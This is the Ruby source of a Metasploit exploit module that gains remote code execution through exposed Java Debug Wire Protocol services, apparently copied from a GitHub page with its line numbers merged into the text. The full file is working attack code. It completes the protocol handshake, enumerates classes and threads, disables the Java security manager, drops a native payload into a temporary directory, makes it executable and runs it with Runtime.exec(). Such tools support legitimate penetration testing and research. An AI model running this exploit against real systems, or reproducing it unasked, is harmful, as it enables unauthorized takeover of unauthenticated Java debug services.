Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112HANDSHAKE = "JDWP-Handshake"1314REQUEST_PACKET_TYPE = 0x0015REPLY_PACKET_TYPE = 0x801617# Command signatures18VERSION_SIG = [1, 1]19CLASSESBYSIGNATURE_SIG = [1, 2]20ALLCLASSES_SIG = [1, 3]21ALLTHREADS_SIG = [1, 4]22IDSIZES_SIG = [1, 7]23CREATESTRING_SIG = [1, 11]24SUSPENDVM_SIG = [1, 8]25RESUMEVM_SIG = [1, 9]26SIGNATURE_SIG = [2, 1]27FIELDS_SIG = [2, 4]28METHODS_SIG = [2, 5]29GETVALUES_SIG = [2, 6]30CLASSOBJECT_SIG = [2, 11]31SETSTATICVALUES_SIG = [3, 2]32INVOKESTATICMETHOD_SIG = [3, 3]33CREATENEWINSTANCE_SIG = [3, 4]34ARRAYNEWINSTANCE_SIG = [4, 1]35REFERENCETYPE_SIG = [9, 1]36INVOKEMETHOD_SIG = [9, 6]37STRINGVALUE_SIG = [10, 1]38THREADNAME_SIG = [11, 1]39THREADSUSPEND_SIG = [11, 2]40THREADRESUME_SIG = [11, 3]41THREADSTATUS_SIG = [11, 4]42ARRAYSETVALUES_SIG = [13, 3]43EVENTSET_SIG = [15, 1]44EVENTCLEAR_SIG = [15, 2]45EVENTCLEARALL_SIG = [15, 3]4647# Other codes48MODKIND_COUNT = 149MODKIND_THREADONLY = 250MODKIND_CLASSMATCH = 551MODKIND_LOCATIONONLY = 752MODKIND_STEP = 1053EVENT_BREAKPOINT = 254EVENT_STEP = 155SUSPEND_EVENTTHREAD = 156SUSPEND_ALL = 257NOT_IMPLEMENTED = 9958VM_DEAD = 11259INVOKE_SINGLE_THREADED = 260TAG_OBJECT = 7661TAG_STRING = 11562TYPE_CLASS = 163TAG_ARRAY = 9164TAG_VOID = 8665TAG_THREAD = 11666STEP_INTO = 067STEP_MIN = 068THREAD_SLEEPING_STATUS = 26970def initialize71super(72'Name' => 'Java Debug Wire Protocol Remote Code Execution',73'Description' => %q{74This module abuses exposed Java Debug Wire Protocol services in order75to execute arbitrary Java code remotely. It just abuses the protocol76features, since no authentication is required if the service is enabled.77},78'Author' => [79'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help80'Christophe Alladoum', # JDWP Analysis and Exploit81'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module82],83'References' => [84['OSVDB', '96066'],85['EDB', '27179'],86['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],87['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],88['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],89['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],90['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']91],92'Platform' => %w{linux osx win},93'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],94'Payload' => {95'Space' => 10000000,96'BadChars' => '',97'DisableNops' => true98},99'Targets' => [100[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],101[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],102[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]103],104'DefaultTarget' => 0,105'License' => MSF_LICENSE,106'DisclosureDate' => 'Mar 12 2010'107)108109register_options(110[111Opt::RPORT(8000),112OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),113OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),114]115)116117register_advanced_options(118[119OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),120]121)122end123124def check125connect126res = handshake127disconnect128129if res.nil?130return Exploit::CheckCode::Unknown131elsif res == HANDSHAKE132return Exploit::CheckCode::Appears133end134135Exploit::CheckCode::Safe136end137138def default_timeout139datastore['RESPONSE_TIMEOUT']140end141142# Establishes handshake with the server143def handshake144sock.put(HANDSHAKE)145return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])146end147148# Forges packet for JDWP protocol149def create_packet(cmdsig, data = "")150flags = 0x00151cmdset, cmd = cmdsig152pktlen = data.length + 11153buf = [pktlen, @my_id, flags, cmdset, cmd]154pkt = buf.pack("NNCCC")155pkt << data156@my_id += 2157pkt158end159160# Reads packet response for JDWP protocol161def read_reply(timeout = default_timeout)162length = sock.get_once(4, timeout)163fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length164pkt_len = length.unpack('N')[0]165if pkt_len < 4166fail_with(Failure::Unknown, "#{peer} - Received corrupted response")167end168id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')169if err_code != 0 && flags == REPLY_PACKET_TYPE170fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")171end172173response = ""174while response.length + 11 < pkt_len175partial = sock.get_once(pkt_len, timeout)176fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial177response << partial178end179fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len180response181end182183# Returns the characters contained in the string defined in target VM184def solve_string(data)185sock.put(create_packet(STRINGVALUE_SIG, data))186response = read_reply187return "" unless response188189return read_string(response)190end191192# Unpacks received string structure from the server response into a normal string193def read_string(data)194data_len = data.unpack('N')[0]195return data[4, data_len]196end197198# Creates a new string object in the target VM and returns its id199def create_string(data)200buf = build_string(data)201sock.put(create_packet(CREATESTRING_SIG, buf))202buf = read_reply203return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)204end205206# Packs normal string into string structure for target VM207def build_string(data)208ret = [data.length].pack('N')209ret << data210211ret212end213214# Pack Integer for JDWP protocol215def format(fmt, value)216if fmt == "L" || fmt == 8217return [value].pack('Q>')218elsif fmt == "I" || fmt == 4219return [value].pack('N')220end221222fail_with(Failure::Unknown, "Unknown format")223end224225# Unpack Integer from JDWP protocol226def unformat(fmt, value)227if fmt == "L" || fmt == 8228return value[0..7].unpack('Q>')[0]229elsif fmt == "I" || fmt == 4230return value[0..3].unpack('N')[0]231end232233fail_with(Failure::Unknown, "Unknown format")234end235236# Parses given data according to a set of formats237def parse_entries(buf, formats, explicit = true)238entries = []239index = 0240241if explicit242nb_entries = buf.unpack('N')[0]243buf = buf[4..-1]244else245nb_entries = 1246end247248nb_entries.times do |var|249if var != 0 && var % 1000 == 0250vprint_status("Parsed #{var} classes of #{nb_entries}")251end252253data = {}254255formats.each do |fmt, name|256if fmt == "L" || fmt == 8257data[name] = buf[index, 8].unpack('Q>')[0]258index += 8259elsif fmt == "I" || fmt == 4260data[name] = buf[index, 4].unpack('N')[0]261index += 4262elsif fmt == "S"263data_len = buf[index, 4].unpack('N')[0]264data[name] = buf[index + 4, data_len]265index += 4 + data_len266elsif fmt == "C"267data[name] = buf[index].unpack('C')[0]268index += 1269elsif fmt == "Z"270t = buf[index].unpack('C')[0]271if t == 115272data[name] = solve_string(buf[index + 1, 8])273index += 9274elsif t == 73275data[name], buf = buf[index + 1, 4].unpack('NN')276end277else278fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")279end280end281entries.append(data)282end283284entries285end286287# Gets the sizes of variably-sized data types in the target VM288def get_sizes289formats = [290["I", "fieldid_size"],291["I", "methodid_size"],292["I", "objectid_size"],293["I", "referencetypeid_size"],294["I", "frameid_size"]295]296sock.put(create_packet(IDSIZES_SIG))297response = read_reply298entries = parse_entries(response, formats, false)299entries.each { |e| @vars.merge!(e) }300end301302# Gets the JDWP version implemented by the target VM303def get_version304formats = [305["S", "descr"],306["I", "jdwp_major"],307["I", "jdwp_minor"],308["S", "vm_version"],309["S", "vm_name"]310]311sock.put(create_packet(VERSION_SIG))312response = read_reply313entries = parse_entries(response, formats, false)314entries.each { |e| @vars.merge!(e) }315end316317def version318"#{@vars["vm_name"]} - #{@vars["vm_version"]}"319end320321# Returns reference for all threads currently running on target VM322def get_all_threads323sock.put(create_packet(ALLTHREADS_SIG))324response = read_reply325num_threads = response.unpack('N').first326index = 4327328size = @vars["objectid_size"]329num_threads.times do330t_id = unformat(size, response[index, size])331@threads[t_id] = nil332index += size333end334end335336# Returns reference types for all classes currently loaded by the target VM337def get_all_classes338return unless @classes.empty?339340formats = [341["C", "reftype_tag"],342[@vars["referencetypeid_size"], "reftype_id"],343["S", "signature"],344["I", "status"]345]346sock.put(create_packet(ALLCLASSES_SIG))347response = read_reply348@classes.append(parse_entries(response, formats))349end350351# Checks if specified class is currently loaded by the target VM and returns it352def get_class_by_name(name)353@classes.each do |entry_array|354entry_array.each do |entry|355if entry["signature"].downcase == name.downcase356return entry357end358end359end360361nil362end363364# Returns information for each method in a reference type (ie. object). Inherited methods are not included.365# The list of methods will include constructors (identified with the name "<init>")366def get_methods(reftype_id)367if @methods.has_key?(reftype_id)368return @methods[reftype_id]369end370371formats = [372[@vars["methodid_size"], "method_id"],373["S", "name"],374["S", "signature"],375["I", "mod_bits"]376]377ref_id = format(@vars["referencetypeid_size"], reftype_id)378sock.put(create_packet(METHODS_SIG, ref_id))379response = read_reply380@methods[reftype_id] = parse_entries(response, formats)381end382383# Returns information for each field in a reference type (ie. object)384def get_fields(reftype_id)385formats = [386[@vars["fieldid_size"], "field_id"],387["S", "name"],388["S", "signature"],389["I", "mod_bits"]390]391ref_id = format(@vars["referencetypeid_size"], reftype_id)392sock.put(create_packet(FIELDS_SIG, ref_id))393response = read_reply394fields = parse_entries(response, formats)395396fields397end398399# Returns the value of one static field of the reference type. The field must be member of the reference type400# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;401# for example, the values of private fields can be obtained.402def get_value(reftype_id, field_id)403data = format(@vars["referencetypeid_size"], reftype_id)404data << [1].pack('N')405data << format(@vars["fieldid_size"], field_id)406407sock.put(create_packet(GETVALUES_SIG, data))408response = read_reply409num_values = response.unpack('N')[0]410411unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)412fail_with(Failure::Unknown, "Bad response when getting value for field")413end414415len = @vars["objectid_size"]416value = unformat(len, response[5..-1])417418value419end420421# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,422# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of423# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match424# the field's type exactly. For object values, there must exist a widening reference conversion from the425# value's type to the field's type and the field's type must be loaded.426def set_value(reftype_id, field_id, value)427data = format(@vars["referencetypeid_size"], reftype_id)428data << [1].pack('N')429data << format(@vars["fieldid_size"], field_id)430data << format(@vars["objectid_size"], value)431432sock.put(create_packet(SETSTATICVALUES_SIG, data))433read_reply434end435436# Checks if specified method is currently loaded by the target VM and returns it437def get_method_by_name(classname, name, signature = nil)438@methods[classname].each do |entry|439if signature.nil?440return entry if entry["name"].downcase == name.downcase441else442if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase443return entry444end445end446end447448nil449end450451# Checks if specified class and method are currently loaded by the target VM and returns them452def get_class_and_method(looked_class, looked_method, signature = nil)453target_class = get_class_by_name(looked_class)454unless target_class455fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")456end457458get_methods(target_class["reftype_id"])459target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)460unless target_method461fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")462end463464return target_class, target_method465end466467# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")468def str_to_fq_class(s)469i = s.rindex(".")470unless i471fail_with(Failure::BadConfig, 'Bad defined break class')472end473474method = s[i + 1..-1] # Subtr of s, from last '.' to the end of the string475476classname = 'L'477classname << s[0..i - 1].gsub(/[.]/, '/')478classname << ';'479480return classname, method481end482483# Gets the status of a given thread484def thread_status(thread_id)485sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))486buf = read_reply(datastore['BREAK_TIMEOUT'])487unless buf488fail_with(Failure::Unknown, "No network response")489end490status, suspend_status = buf.unpack('NN')491492status493end494495# Resumes execution of the application or thread after the suspend command or an event has stopped it496def resume_vm(thread_id = nil)497if thread_id.nil?498sock.put(create_packet(RESUMEVM_SIG))499else500sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))501end502503response = read_reply(datastore['BREAK_TIMEOUT'])504unless response505fail_with(Failure::Unknown, "No network response")506end507508response509end510511# Suspend execution of the application or thread512def suspend_vm(thread_id = nil)513if thread_id.nil?514sock.put(create_packet(SUSPENDVM_SIG))515else516sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))517end518519response = read_reply520unless response521fail_with(Failure::Unknown, "No network response")522end523524response525end526527# Sets an event request. When the event described by this request occurs, an event is sent from the target VM528def send_event(event_code, args)529data = [event_code].pack('C')530data << [SUSPEND_ALL].pack('C')531data << [args.length].pack('N')532533args.each do |kind, option|534data << [kind].pack('C')535data << option536end537538sock.put(create_packet(EVENTSET_SIG, data))539response = read_reply540unless response541fail_with(Failure::Unknown, "#{peer} - No network response")542end543return response.unpack('N')[0]544end545546# Parses a received event and compares it with the expected547def parse_event(buf, event_id, thread_id)548len = @vars["objectid_size"]549return false if buf.length < 10 + len - 1550551r_id = buf[6..9].unpack('N')[0]552t_id = unformat(len, buf[10..10 + len - 1])553554return (event_id == r_id) && (thread_id == t_id)555end556557# Clear a defined event request558def clear_event(event_code, r_id)559data = [event_code].pack('C')560data << [r_id].pack('N')561sock.put(create_packet(EVENTCLEAR_SIG, data))562read_reply563end564565# Invokes a static method. The method must be member of the class type or one of its superclasses,566# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private567# methods can be invoked.568def invoke_static(class_id, thread_id, meth_id, args = [])569data = format(@vars["referencetypeid_size"], class_id)570data << format(@vars["objectid_size"], thread_id)571data << format(@vars["methodid_size"], meth_id)572data << [args.length].pack('N')573574args.each do |arg|575data << arg576data << [0].pack('N')577end578579sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))580buf = read_reply581buf582end583584# Invokes a instance method. The method must be member of the object's type or one of its superclasses,585# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods586# can be invoked.587def invoke(obj_id, thread_id, class_id, meth_id, args = [])588data = format(@vars["objectid_size"], obj_id)589data << format(@vars["objectid_size"], thread_id)590data << format(@vars["referencetypeid_size"], class_id)591data << format(@vars["methodid_size"], meth_id)592data << [args.length].pack('N')593594args.each do |arg|595data << arg596data << [0].pack('N')597end598599sock.put(create_packet(INVOKEMETHOD_SIG, data))600buf = read_reply601buf602end603604# Creates a new object of specified class, invoking the specified constructor. The constructor605# method ID must be a member of the class type.606def create_instance(class_id, thread_id, meth_id, args = [])607data = format(@vars["referencetypeid_size"], class_id)608data << format(@vars["objectid_size"], thread_id)609data << format(@vars["methodid_size"], meth_id)610data << [args.length].pack('N')611612args.each do |arg|613data << arg614data << [0].pack('N')615end616617sock.put(create_packet(CREATENEWINSTANCE_SIG, data))618buf = read_reply619buf620end621622# Creates a byte[]623def create_array(len)624target_class = get_class_by_name("[B")625fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?626627type_id = target_class["reftype_id"]628fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?629630data = format(@vars["referencetypeid_size"], type_id)631data << [len].pack('N')632633sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))634buf = read_reply635buf636end637638# Initializes the byte[] with values639def set_values(obj_id, args = [])640data = format(@vars["objectid_size"], obj_id)641data << [0].pack('N')642data << [args.length].pack('N')643644args.each do |arg|645data << [arg].pack('C')646end647648sock.put(create_packet(ARRAYSETVALUES_SIG, data))649read_reply650end651652def temp_path653return nil unless datastore['TMP_PATH']654655unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')656fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')657end658datastore['TMP_PATH']659end660661# Configures payload according to targeted architecture662def setup_payload663# 1. Setting up generic values.664payload_exe = rand_text_alphanumeric(4 + rand(4))665pl_exe = generate_payload_exe666667# 2. Setting up arch specific...668case target['Platform']669when 'linux'670path = temp_path || '/tmp/'671payload_exe = "#{path}#{payload_exe}"672when 'osx'673path = temp_path || '/private/tmp/'674payload_exe = "#{path}#{payload_exe}"675when 'win'676path = temp_path || './'677payload_exe = "#{path}#{payload_exe}.exe"678end679680if @os.downcase =~ /target['Platform']/681print_warning("#{@os} system detected but using #{target['Platform']} target...")682end683684return payload_exe, pl_exe685end686687# Invokes java.lang.System.getProperty() for OS fingerprinting purposes688def fingerprint_os(thread_id)689size = @vars["objectid_size"]690691# 1. Creates a string on target VM with the property to be getted692cmd_obj_ids = create_string("os.name")693fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0694cmd_obj_id = cmd_obj_ids[0]["obj_id"]695696# 2. Gets property697data = [TAG_OBJECT].pack('C')698data << format(size, cmd_obj_id)699data_array = [data]700runtime_class, runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")701buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)702fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')703704str = unformat(size, buf[1..1 + size - 1])705@os = solve_string(format(@vars["objectid_size"], str))706end707708# Creates a file on the server given a execution thread709def create_file(thread_id, filename)710cmd_obj_ids = create_string(filename)711fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0712713cmd_obj_id = cmd_obj_ids[0]["obj_id"]714size = @vars["objectid_size"]715data = [TAG_OBJECT].pack('C')716data << format(size, cmd_obj_id)717data_array = [data]718runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")719buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)720fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')721722file = unformat(size, buf[1..1 + size - 1])723fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)724725register_files_for_cleanup(filename)726727file728end729730# Stores the payload on a new string created in target VM731def upload_payload(thread_id, pl_exe)732size = @vars["objectid_size"]733734buf = create_array(pl_exe.length)735fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')736737pl = unformat(size, buf[1..1 + size - 1])738fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)739740set_values(pl, pl_exe.bytes)741pl742end743744# Dumps the payload on a opened server file given a execution thread745def dump_payload(thread_id, file, pl)746size = @vars["objectid_size"]747data = [TAG_OBJECT].pack('C')748data << format(size, pl)749data_array = [data]750runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")751buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)752unless buf[0] == [TAG_VOID].pack('C')753fail_with(Failure::Unknown, "Exception while writing to file")754end755end756757# Closes a file on the server given a execution thread758def close_file(thread_id, file)759runtime_class, runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")760buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])761unless buf[0] == [TAG_VOID].pack('C')762fail_with(Failure::Unknown, "Exception while closing file")763end764end765766# Executes a system command on target VM making use of java.lang.Runtime.exec()767def execute_command(thread_id, cmd)768size = @vars["objectid_size"]769770# 1. Creates a string on target VM with the command to be executed771cmd_obj_ids = create_string(cmd)772if cmd_obj_ids.length == 0773fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")774end775776cmd_obj_id = cmd_obj_ids[0]["obj_id"]777778# 2. Gets Runtime context779runtime_class, runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")780buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])781unless buf[0] == [TAG_OBJECT].pack('C')782fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")783end784785rt = unformat(size, buf[1..1 + size - 1])786if rt.nil? || (rt == 0)787fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")788end789790# 3. Finds and executes "exec" method supplying the string with the command791exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")792if exec_meth.nil?793fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")794end795796data = [TAG_OBJECT].pack('C')797data << format(size, cmd_obj_id)798data_array = [data]799buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)800unless buf[0] == [TAG_OBJECT].pack('C')801fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")802end803end804805# Set event for stepping into a running thread806def set_step_event807# 1. Select a thread in sleeping status808t_id = nil809@threads.each_key do |thread|810if thread_status(thread) == THREAD_SLEEPING_STATUS811t_id = thread812break813end814end815fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?816817# 2. Suspend the VM before setting the event818suspend_vm819820vprint_status("Setting 'step into' event in thread: #{t_id}")821step_info = format(@vars["objectid_size"], t_id)822step_info << [STEP_MIN].pack('N')823step_info << [STEP_INTO].pack('N')824data = [[MODKIND_STEP, step_info]]825826r_id = send_event(EVENT_STEP, data)827unless r_id828fail_with(Failure::Unknown, "Could not set the event")829end830831return r_id, t_id832end833834# Disables security manager if it's set on target JVM835def disable_sec_manager836sys_class = get_class_by_name("Ljava/lang/System;")837838fields = get_fields(sys_class["reftype_id"])839840sec_field = nil841842fields.each do |field|843sec_field = field["field_id"] if field["name"].downcase == "security"844end845846fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?847848value = get_value(sys_class["reftype_id"], sec_field)849850if (value == 0)851print_good("Security manager was not set")852else853set_value(sys_class["reftype_id"], sec_field, 0)854if get_value(sys_class["reftype_id"], sec_field) == 0855print_good("Security manager has been disabled")856else857print_good("Security manager has not been disabled, trying anyway...")858end859end860end861862# Uploads & executes the payload on the target VM863def exec_payload(thread_id)864# 0. Fingerprinting OS865fingerprint_os(thread_id)866867vprint_status("Executing payload on \"#{@os}\", target version: #{version}")868869# 1. Prepares the payload870payload_exe, pl_exe = setup_payload871872# 2. Creates file on server for dumping payload873file = create_file(thread_id, payload_exe)874875# 3. Uploads payload to the server876pl = upload_payload(thread_id, pl_exe)877878# 4. Dumps uploaded payload into file on the server879dump_payload(thread_id, file, pl)880881# 5. Closes the file on the server882close_file(thread_id, file)883884# 5b. When linux arch, give execution permissions to file885if target['Platform'] == 'linux' || target['Platform'] == 'osx'886cmd = "chmod +x #{payload_exe}"887execute_command(thread_id, cmd)888end889890# 6. Executes the dumped payload891cmd = "#{payload_exe}"892execute_command(thread_id, cmd)893end894895def exploit896@my_id = 0x01897@vars = {}898@classes = []899@methods = {}900@threads = {}901@os = nil902903connect904905unless handshake == HANDSHAKE906fail_with(Failure::NotVulnerable, "JDWP Protocol not found")907end908909print_status("Retrieving the sizes of variable sized data types in the target VM...")910get_sizes911912print_status("Getting the version of the target VM...")913get_version914915print_status("Getting all currently loaded classes by the target VM...")916get_all_classes917918print_status("Getting all running threads in the target VM...")919get_all_threads920921print_status("Setting 'step into' event...")922r_id, t_id = set_step_event923924print_status("Resuming VM and waiting for an event...")925response = resume_vm926927unless parse_event(response, r_id, t_id)928datastore['NUM_RETRIES'].times do |i|929print_status("Received #{i + 1} responses that are not a 'step into' event...")930buf = read_reply931break if parse_event(buf, r_id, t_id)932933if i == datastore['NUM_RETRIES']934fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")935end936end937end938939vprint_status("Received matching event from thread #{t_id}")940print_status("Deleting step event...")941clear_event(EVENT_STEP, r_id)942943print_status("Disabling security manager if set...")944disable_sec_manager945946print_status("Dropping and executing payload...")947exec_payload(t_id)948949disconnect950end951end952953954